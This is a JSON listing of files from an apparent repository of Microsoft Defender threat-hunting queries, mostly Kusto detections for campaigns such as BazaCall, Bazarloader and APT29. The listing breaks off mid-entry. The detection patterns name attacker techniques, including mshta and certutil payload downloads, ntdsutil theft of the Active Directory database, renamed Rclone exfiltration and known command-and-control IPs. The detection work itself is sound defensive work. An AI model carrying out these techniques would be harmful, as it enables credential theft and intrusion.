[
  {
    "path": ".gitignore",
    "content": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n##\n## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore\n\n# User-specific files\n*.suo\n*.user\n*.userosscache\n*.sln.docstates\n\n# User-specific files (MonoDevelop/Xamarin Studio)\n*.userprefs\n\n# Build results\n[Dd]ebug/\n[Dd]ebugPublic/\n[Rr]elease/\n[Rr]eleases/\nx64/\nx86/\nbld/\n[Bb]in/\n[Oo]bj/\n[Ll]og/\n\n# Visual Studio 2015 cache/options directory\n.vs/\n# Uncomment if you have tasks that create the project's static files in wwwroot\n#wwwroot/\n\n# MSTest test Results\n[Tt]est[Rr]esult*/\n[Bb]uild[Ll]og.*\n\n# NUNIT\n*.VisualState.xml\nTestResult.xml\n\n# Build Results of an ATL Project\n[Dd]ebugPS/\n[Rr]eleasePS/\ndlldata.c\n\n# .NET Core\nproject.lock.json\nproject.fragment.lock.json\nartifacts/\n**/Properties/launchSettings.json\n\n*_i.c\n*_p.c\n*_i.h\n*.ilk\n*.meta\n*.obj\n*.pch\n*.pdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.tmp_proj\n*.log\n*.vspscc\n*.vssscc\n.builds\n*.pidb\n*.svclog\n*.scc\n\n# Chutzpah Test files\n_Chutzpah*\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opendb\n*.opensdf\n*.sdf\n*.cachefile\n*.VC.db\n*.VC.VC.opendb\n\n# Visual Studio profiler\n*.psess\n*.vsp\n*.vspx\n*.sap\n\n# TFS 2012 Local Workspace\n$tf/\n\n# Guidance Automation Toolkit\n*.gpState\n\n# ReSharper is a .NET coding add-in\n_ReSharper*/\n*.[Rr]e[Ss]harper\n*.DotSettings.user\n\n# JustCode is a .NET coding add-in\n.JustCode\n\n# TeamCity is a build add-in\n_TeamCity*\n\n# DotCover is a Code Coverage Tool\n*.dotCover\n\n# Visual Studio code coverage results\n*.coverage\n*.coveragexml\n\n# NCrunch\n_NCrunch_*\n.*crunch*.local.xml\nnCrunchTemp_*\n\n# MightyMoose\n*.mm.*\nAutoTest.Net/\n\n# Web workbench (sass)\n.sass-cache/\n\n# Installshield output folder\n[Ee]xpress/\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish/\n\n# Publish Web Output\n*.[Pp]ublish.xml\n*.azurePubxml\n# TODO: Comment the next line if you want to checkin your web deploy settings\n# but database connection strings (with potential passwords) will be unencrypted\n*.pubxml\n*.publishproj\n\n# Microsoft Azure Web App publish settings. Comment the next line if you want to\n# checkin your Azure Web App publish settings, but sensitive information contained\n# in these scripts will be unencrypted\nPublishScripts/\n\n# NuGet Packages\n*.nupkg\n# The packages folder can be ignored because of Package Restore\n**/packages/*\n# except build/, which is used as an MSBuild target.\n!**/packages/build/\n# Uncomment if necessary however generally it will be regenerated when needed\n#!**/packages/repositories.config\n# NuGet v3's project.json files produces more ignorable files\n*.nuget.props\n*.nuget.targets\n\n# Microsoft Azure Build Output\ncsx/\n*.build.csdef\n\n# Microsoft Azure Emulator\necf/\nrcf/\n\n# Windows Store app package directories and files\nAppPackages/\nBundleArtifacts/\nPackage.StoreAssociation.xml\n_pkginfo.txt\n\n# Visual Studio cache files\n# files ending in .cache can be ignored\n*.[Cc]ache\n# but keep track of directories ending in .cache\n!*.[Cc]ache/\n\n# Others\nClientBin/\n~$*\n*~\n*.dbmdl\n*.dbproj.schemaview\n*.jfm\n*.pfx\n*.publishsettings\norleans.codegen.cs\n\n# Since there are multiple workflows, uncomment next line to ignore bower_components\n# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)\n#bower_components/\n\n# RIA/Silverlight projects\nGenerated_Code/\n\n# Backup & report files from converting an old project file\n# to a newer Visual Studio version. Backup files are not needed,\n# because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\nUpgradeLog*.htm\n\n# SQL Server files\n*.mdf\n*.ldf\n*.ndf\n\n# Business Intelligence projects\n*.rdl.data\n*.bim.layout\n*.bim_*.settings\n\n# Microsoft Fakes\nFakesAssemblies/\n\n# GhostDoc plugin setting file\n*.GhostDoc.xml\n\n# Node.js Tools for Visual Studio\n.ntvs_analysis.dat\nnode_modules/\n\n# Typescript v1 declaration files\ntypings/\n\n# Visual Studio 6 build log\n*.plg\n\n# Visual Studio 6 workspace options file\n*.opt\n\n# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)\n*.vbw\n\n# Visual Studio LightSwitch build output\n**/*.HTMLClient/GeneratedArtifacts\n**/*.DesktopClient/GeneratedArtifacts\n**/*.DesktopClient/ModelManifest.xml\n**/*.Server/GeneratedArtifacts\n**/*.Server/ModelManifest.xml\n_Pvt_Extensions\n\n# Paket dependency manager\n.paket/paket.exe\npaket-files/\n\n# FAKE - F# Make\n.fake/\n\n# JetBrains Rider\n.idea/\n*.sln.iml\n\n# CodeRush\n.cr/\n\n# Python Tools for Visual Studio (PTVS)\n__pycache__/\n*.pyc\n\n# Cake - Uncomment if you are using it\n# tools/**\n# !tools/packages.config\n\n# Telerik's JustMock configuration file\n*.jmconfig\n\n# BizTalk build output\n*.btp.cs\n*.btm.cs\n*.odx.cs\n*.xsd.cs\n"
  },
  {
    "path": "00-query-submission-template.md",
    "content": "# < Insert query name >\n< Provide query description and usage tips >\n## Query\n```\n< Insert query string here >\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n\n## Contributor info\n**Contributor:** < your name >\n**GitHub alias:** < your github alias >\n**Organization:** < your org >\n**Contact info:** < email or website >\n"
  },
  {
    "path": "CODE_OF_CONDUCT.md",
    "content": "# Microsoft Open Source Code of Conduct\n\nThis project has adopted the [Microsoft Open Source Code of Conduct](https://opensource.microsoft.com/codeofconduct/).\n\nResources:\n\n- [Microsoft Open Source Code of Conduct](https://opensource.microsoft.com/codeofconduct/)\n- [Microsoft Code of Conduct FAQ](https://opensource.microsoft.com/codeofconduct/faq/)\n- Contact [opencode@microsoft.com](mailto:opencode@microsoft.com) with questions or concerns\n"
  },
  {
    "path": "Campaigns/APT Baby Shark.txt",
    "content": "// Original Sigma Rule: https://github.com/Neo23x0/sigma/blob/master/rules/apt/apt_babyshark.yml\n// Questions via Twitter: @janvonkirchheim \nDeviceProcessEvents \n| where Timestamp > ago(7d)\n| where ProcessCommandLine =~ @\"reg query \"\"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\"\"\" \n     or ProcessCommandLine startswith \"powershell.exe mshta.exe http\"\n     or ProcessCommandLine =~ \"cmd.exe /c taskkill /im cmd.exe\"\n| top 100 by Timestamp desc\n"
  },
  {
    "path": "Campaigns/APT29 thinktanks.txt",
    "content": "// Original Sigma Rule: https://github.com/Neo23x0/sigma/blob/master/rules/apt/apt_apt29_thinktanks.yml\n// Questions via Twitter: @janvonkirchheim \nDeviceProcessEvents \n| where Timestamp > ago(7d)\n| where ProcessCommandLine has \"-noni -ep bypass $\"\n| top 100 by Timestamp desc \n"
  },
  {
    "path": "Campaigns/Abuse.ch Recent Threat Feed.md",
    "content": "# Abuse.ch Recent Threat Feed\n\nThis query will hunt for files matching the current abuse.ch recent threat feed based on Sha256. Currently the query is set up to analyze the last day worth of events, but this is configurable using the MaxAge variable.\n\n## Query\n```\nlet MaxAge = ago(1d);\nlet AbuseFeed = materialize (\n    (externaldata(report:string)\n    [@\"https://bazaar.abuse.ch/export/csv/recent/\"]\n    with (format = \"txt\"))\n    | where report !startswith '#'\n    | extend report = parse_csv(report)\n    | extend FirstSeenUtc = tostring(report[0])\n    | project FirstSeenUtc = todatetime(FirstSeenUtc)\n        ,SHA256 = trim('[ \"]+',tostring(report[1]))\n        , MD5 = trim('[ \"]+',tostring(report[2]))\n        , SHA1 = trim('[ \"]+',tostring(report[3]))\n        , Reporter = trim('[ \"]+',tostring(report[4]))\n        , FileName = trim('[ \"]+',tostring(report[5]))\n        , FileType = trim('[ \"]+',tostring(report[6]))\n        , MimeType = trim('[ \"]+',tostring(report[7]))\n        , Signer = iff(report[8] == 'n/a', '', trim('[ \"]+',tostring(report[8])))\n        , ClamAV = iff(report[9] == 'n/a', '', trim('[ \"]+',tostring(report[9])))\n        , VTPercent = iff(report[10] == 'n/a', 0.0, todouble(report[10]))\n        , ImpHash = iff(report[11] == 'n/a', '', trim('[ \"]+',tostring(report[11])))\n        , SSDeep = iff(report[12] == 'n/a', '', trim('[ \"]+',tostring(report[12])))\n        , TLSH = iff(report[13] == 'n/a', '', trim('[ \"]+',tostring(report[13])))\n);\nunion (\n    AbuseFeed\n    | join (\n        DeviceProcessEvents\n        | where Timestamp > MaxAge\n    ) on SHA256\n), (\n    AbuseFeed\n    | join (\n        DeviceFileEvents\n        | where Timestamp > MaxAge\n    ) on SHA256\n), ( \n    AbuseFeed\n    | join (\n        DeviceImageLoadEvents\n        | where Timestamp > MaxAge\n    ) on SHA256\n)\n```\n\n...or if you don't care about the details from Malware Bazaar you might consider this slightly more lightweight version\n\n```\nlet MaxAge = ago(1d);\nlet AbuseFeed = toscalar (\n    (externaldata(report:string)\n    [@\"https://bazaar.abuse.ch/export/txt/sha256/recent/\"]\n    with (format = \"txt\"))\n    | where report !startswith '#'\n    | summarize make_set(report)\n);\nunion (\n    DeviceProcessEvents\n    | where Timestamp > MaxAge and SHA256 in (AbuseFeed)\n), (\n    DeviceFileEvents\n    | where Timestamp > MaxAge and SHA256 in (AbuseFeed)\n), ( \n    DeviceImageLoadEvents\n    | where Timestamp > MaxAge and SHA256 in (AbuseFeed)\n)\n```\n\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence | v |  | \n| Privilege escalation | v |  |\n| Defense evasion |  |  | \n| Credential Access | v |  | \n| Discovery | v |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact | v |  |\n| Vulnerability |  |  |\n| Exploit | v |  |\n| Misconfiguration |  |  |\n| Malware, component | v |  |\n| Ransomware | v |  |\n\n\n## Contributor info\n**Contributor:** Michael Melone\n**GitHub alias:** mjmelone\n**Organization:** Microsoft\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "Campaigns/Abusing settingcontent-ms.txt",
    "content": "// Sample query that search for .settingcontent-ms that has been downloaded from the web\n// through Microsoft Edge, Internet Explorer, Google Chrome, Mozilla Firefox, Microsoft Outlook\n// For questions @MiladMSFT on Twitter or milad.aslaner@microsoft.com\nDeviceFileEvents\n| where InitiatingProcessFileName in~ (\"browser_broker.exe\", \"chrome.exe\", \"iexplore.exe\", \"firefox.exe\", \"outlook.exe\")\n| where FileName endswith \".settingcontent-ms\"\n// The FileOrigin* columns are available only on Edge and Chrome and from Windows 10 version 1703\n// https://techcommunity.microsoft.com/t5/Threat-Intelligence/Hunting-tip-of-the-month-Browser-downloads/td-p/220454\n| project Timestamp, DeviceName, FileName, FolderPath, FileOriginUrl, FileOriginReferrerUrl, FileOriginIP\n"
  },
  {
    "path": "Campaigns/Bazacall/Bazacall Emails.md",
    "content": "# Bazacall emails\nBazacall malware uses emails that contain a phone number for the user to call in order to cancel a fake subscription. These emails contain no links or attachments, and use automatic payment lures to trick users into contacting the number included in the email.\n\n## Query\nThis query looks for the subject lines associated with known Bazacall emails, using a regex to match on the fake account number pattern and a few keywords that are frequently used in these subjects. NOTE: Some emails contain the fake account number in the body of the email rather than the subject. In these instances, searching on keyword alone may surface related emails. Verify maliciousness by matching the regex for the account number in the body of the email if possible. \n```\nEmailEvents\n| where Subject matches regex @\"[A-Z]{1,3}\\d{9,15}\"\n    and Subject has_any('trial', 'free', 'demo', 'membership', 'premium', 'gold', 'notification', 'notice', 'claim', 'order', 'license', 'licenses')\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Bazacall/Cobalt Strike Lateral Movement.md",
    "content": "# Bazacall Cobalt Strike Lateral Movement\nMicrosoft has observed Bazacall using Cobalt Strike in order to move laterally to other machines on the network. \n\n## Query\nThis query looks for alerts related to Cobalt Strike and its built-in PSExec used for lateral movement. \n```\nAlertInfo\n| where Title in(\"File dropped and launched from remote location\", \"Suspicious transfer of an executable file\")\n// Joining in instances where Cobalt Strike's built-in PsExec is used for lateral movement\n| join AlertEvidence on $left.AlertId == $right.AlertId\n| where FileName matches regex @\"^([a-z0-9]){7}\\.exe$\" and FileName matches regex \"[0-9]{1,5}\"\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement | v |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Bazacall/Dropping payload via certutil.md",
    "content": "# BazaCall dropping payload via certutil.exe\n\nBazaCall is a campaign that manipulate users into calling a customer support center, where they are instructed to download an Excel file to unsubscribe from a phony service. When the user opens the Excel file, they are prompted to enable a malicious macro that infects their device with BazaLoader.\n\nThis query hunts for an attacker-created copy of *certutil.exe*, a legitimate process, which the macro uses to download BazaLoader.\n\n## Query\n\n```kusto\nDeviceFileEvents\n| where InitiatingProcessFileName !~ \"certutil.exe\"\n| where InitiatingProcessFileName !~ \"cmd.exe\"\n| where InitiatingProcessCommandLine has_all(\"-urlcache\", \"split\", \"http\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:**  Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Bazacall/Excel Macro Execution.md",
    "content": "# Bazacall Excel Macro Execution\nBazacall uses malicious macro-enabled Excel documents to execute their payload. \n\n## Query\nThis query looks for the malicious macro being executed on a machine. \n```\nDeviceProcessEvents\n| where InitiatingProcessFileName =~ \"excel.exe\"\n    and ProcessCommandLine has_all('mkdir', '&& copy', 'certutil.exe')\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Bazacall/Excel file download domain pattern.md",
    "content": "# BazaCall Excel file download domain pattern\n\nBazaCall is a campaign that manipulate users into calling a customer support center, where they are instructed to download an Excel file to unsubscribe from a phony service. When the user opens the Excel file, they are prompted to enable a malicious macro that infects their device with BazaLoader.\n\nThis query surfaces connections to the distinctive *.xyz* domains that the BazaCall campaign uses to host malicious Excel files.\n\n## Query\n\n```kusto\nDeviceNetworkEvents\n| where RemoteUrl matches regex @\".{14}\\.xyz/config\\.php\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n**Contributor:**  Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Bazacall/Malicious Excel Delivery.md",
    "content": "# Bazacall Malicious Excel Delivery\nBazacall uses malicious Excel files to execute payloads on affected devices. \n\n## Query\nThis query looks for files that are downloaded from URL paths known to be associated with the Bazacall threat. \n```\nDeviceFileEvents\n| where FileOriginUrl has \"/cancel.php\" and FileOriginReferrerUrl has \"/account\"\n  or FileOriginUrl has \"/download.php\" and FileOriginReferrerUrl has \"/case\"\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Bazacall/NTDS theft.md",
    "content": "# Bazacall NTDS.dit Theft\nMicrosoft has observed compromises related to Bazacall resulting in theft of the Active Directory database using ntdsutil.exe. \n\n## Query\nThis query looks for copies of NTDS created in specific file paths known to be associated with the Bazacall threat. \n```\nDeviceProcessEvents\n| where FileName =~ \"ntdsutil.exe\"\n| where ProcessCommandLine has_any(\"full\", \"fu\")\n| where ProcessCommandLine has_any (\"temp\", \"perflogs\", \"programdata\")\n// Exclusion\n| where ProcessCommandLine !contains @\"Backup\"\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access | v |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration | v |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Bazacall/Renamed Rclone Exfil.md",
    "content": "# Bazacall Renamed Rclone for Exfiltration\nMicrosoft has observed Bazacall using a renamed version of Rclone for data exfiltration.\n\n## Query\nThis query looks for Rclone being renamed to be used for data exfiltration. \n```\nDeviceProcessEvents \n| where ProcessVersionInfoProductName has \"rclone\" and not(FileName has \"rclone\")\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration | v |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Bazacall/RunDLL Suspicious Network Connection.md",
    "content": "# RunDLL Suspicious Network Connections\nDuring the chain of events from Bazacall to Bazaloader, RunDLL makes several network connections, including to command and control (C2) infrastructure. The command line for these connections contains a specific process paramter, \",GlobalOut\" that can surface potentially malicious activity related to Bazacall and Bazaloader.\n\n## Query\nThis query looks for network connection events made by the RunDll32.exe process that have a command line that contains the \",GlobalOut\" process parameter. \n```\nDeviceNetworkEvents\n| where InitiatingProcessFileName =~ 'rundll32.exe' and InitiatingProcessCommandLine has \",GlobalOut\"\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Bazarloader/Stolen Images Execution.md",
    "content": "# Stolen Images\nThe \"Stolen Images\" Bazarloader campaign uses fake copyright infingement contact form emails and malicious files pretending to contain \"stolen images\" to trick users into downloading the malware.\n\n## Query\nThis query looks for instances of Wscript being used to execute the malicious \"stolen images\" file associated with this Bazarloader campaign. \n```\nDeviceProcessEvents\n| where FileName =~ \"wscript.exe\" and ProcessCommandLine has_all(\"stolen\", \"images\")\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Bazarloader/Zip-Doc - Creation of JPG Payload File.md",
    "content": "# Zip-Doc - Creation of JPG Payload File\nIn the campaign where Bazarloader is delivered via emails containing pw protected zip attachments, regsvr32.exe is used to launch a malicious payload that is disguised as a JPG file.\n\n## Query\nThis query looks for instances of regsvr32.exe launching a file with a .jpg extension and summarizes the file name, SHA256, and Device ID for easy analysis. \n```\nDeviceImageLoadEvents\n| where InitiatingProcessFileName =~ \"regsvr32.exe\" and InitiatingProcessCommandLine has \".jpg\" and FileName endswith \".jpg\"\n| summarize by FileName, SHA256, DeviceId, bin(Timestamp, 1d)\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Bazarloader/Zip-Doc - Word Launching MSHTA.md",
    "content": "# Zip-Doc - Word Launching MSHTA\nThe pw protected zip attachment -> Word doc delivery method of Bazarloader utilizes Word to create an .hta file and launch it via MSHTA to connect to a malicious domain and pull down the Bazarloader paylaod.\n\n## Query\nThis query looks for instnaces of Microsoft Word creating an .hta file\n```\nDeviceProcessEvents\n| where InitiatingProcessFileName =~ 'WINWORD.EXE' and FileName =~ 'cmd.exe' and ProcessCommandLine has_all('hta')\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/Bear Activity GTR 2019.txt",
    "content": "// Original Sigma Rule: https://github.com/Neo23x0/sigma/blob/master/rules/apt/apt_bear_activity_gtr19.yml\n// Questions via Twitter: @janvonkirchheim \nDeviceProcessEvents \n| where Timestamp > ago(7d) \n| where (FileName =~ \"xcopy.exe\" and ProcessCommandLine has @\" /S /E /C /Q /H \\\") \n     or (FileName =~ \"adexplorer.exe\" and ProcessCommandLine has @\" -snapshot \"\"\"\" c:\\users\\\")\n| top 100 by Timestamp desc\n"
  },
  {
    "path": "Campaigns/Cloud Hopper.txt",
    "content": "// Original Sigma Rule: https://github.com/Neo23x0/sigma/blob/master/rules/apt/apt_cloudhopper.yml\n// Questions via Twitter: @janvonkirchheim \nDeviceProcessEvents \n| where Timestamp > ago(7d)\n| where FileName =~ @\"cscript.exe\" and ProcessCommandLine has \".vbs /shell \"\n| top 100 by Timestamp desc\n"
  },
  {
    "path": "Campaigns/DofoilNameCoinServerTraffic.txt",
    "content": "// This is a query to retrieve last 30 days network connections to known Dofoil NameCoin servers\r\n// The full article is available here: https://cloudblogs.microsoft.com/microsoftsecure/2018/04/04/hunting-down-dofoil-with-windows-defender-atp/\r\n\r\nDeviceNetworkEvents \r\n| where RemoteIP in (\r\n    \"139.59.208.246\",\"130.255.73.90\",\"31.3.135.232\",\"52.174.55.168\",\"185.121.177.177\",\"185.121.177.53\",\r\n    \"62.113.203.55\",\"144.76.133.38\",\"169.239.202.202\",\"5.135.183.146\",\"142.0.68.13\",\"103.253.12.18\",\r\n    \"62.112.8.85\",\"69.164.196.21\",\"107.150.40.234\",\"162.211.64.20\",\"217.12.210.54\",\"89.18.27.34\",\r\n    \"193.183.98.154\",\"51.255.167.0\",\"91.121.155.13\",\"87.98.175.85\",\"185.97.7.7\")\r\n| project DeviceName, InitiatingProcessCreationTime, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemotePort\r\n"
  },
  {
    "path": "Campaigns/Dopplepaymer In-Memory Malware Implant.txt",
